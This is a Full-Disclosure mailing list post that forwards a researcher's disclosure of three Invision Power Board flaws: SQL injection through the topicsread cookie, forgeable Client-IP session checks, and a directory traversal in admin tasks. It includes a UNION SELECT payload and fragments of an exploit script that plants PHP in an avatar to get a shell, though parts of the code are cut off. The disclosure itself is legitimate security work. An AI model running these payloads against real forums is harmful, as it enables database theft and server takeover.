Well this would be NDSD-06-002 but n3td3v seems to have really left.......All relevant details are in the message below, the SQL injection was patched within a day (http://forums.invisionpower.com/index.php?showtopic=204627), I believe the other problems still exist.
-----Original Message-----
Hi,
I write to this address as I cannot find a better one to contact you on. Could you please forward this message to the appropriate person(s).
I write to you to disclose three vulnreabilities within the ipb software. I came across these whilst gaining access to pzforum.net as part of the www.rootcontest.org contest. These vulnerabilities are tested up to version 2.1.3.
Firstly I would like to make it clear that I have no intention of disclosing these vulnerabilities to anyone other than yourselves until they are fully rectified.
The main vulnerability exisits in the lack of sanity checking on the cookie topicsread:
if ( ! in_array( $name, array('topicsread',
'forum_read') ) ) allows injection with variables of the form:
$injection_array = array(1=>1,"1) UNION SELECT 1,session_id,session_ip_address,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ibf_admin_sessions where (1,1)=(1"=>2);
This can be used through the usercp to disclose pretty much any information, including any files which can be accessed by load_file. (SELECT INTO OUTFILE is also available on badly configured systems).
The second vulnerability exists in the handling if ip addresses:
$addrs[] = $_SERVER['HTTP_CLIENT_IP']; the Client-IP header can easily be forged: if ($sip!="") {$com.= "Client-Ip: $sip\n";} This essentially removes any security gained by the ip element of sessions. The third and final vulnerability exists in the mechanism for setting up tasks: This vulnerability is only an issue once access has been gained to the admin panel. There is a simple directory traversal exploit: $tmppvar.= "task_file=../../uploads/av-" . $forum_member_id . ".jpg&"; Thank you for taking time to look at this, and please let me know that an appropriate person has received it. Thanks, The following code was used to gain shell access to pzforum.net through these vulnerabilities. It creates a task which points to the users avatar, into which s/he can place (.jpg comment field for instance) arbitrary php code, including the passthru command etc.... exploit.php: $server
= "pzforum.net"; $forum_root
= "/"; $forum_validate_cookie=$forum_cookie_header . "member_id=" . $forum_member_id . ";" . $forum_cookie_header . "pass_hash=" . $forum_pass_hash . ";"; //
get initial session_id echo "*** ATTEMPTING TO GET OLD SESSION INFO ***\r\n"; $tmppage = getPage($server,$port,$forum_root."index.php?act=UserCP&CODE=00","",$tmpcookie);
echo "old session: ip - " . $ip_address ." , " . "session_id - " . $session_id . "\r\n";
echo
"*** ATTEMPTING TO SPOOF SESSION AND ADD AVATAR TASK ***\r\n"; $tmppage=getPagePut($server,$port,$forum_root."admin.php?adsess=" . $session_id . "§ion=tools&act=task&do=task_add_do&task_id=&type=add",$ip_address,"",$tmppvar); //
retreive cron key of our task function
getPage($server, $port, $file, $sip, $cookie) {
if (!$fp) {
do {
return $header;
if (!$fp) {
do { }
return $header;
*********************************************************************************** For more information about Aquaterra Leisure, see www.aquaterra.org To shop for speedo or polar at bargain prices, see www.aquashop.org *********************************************************************************** |
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/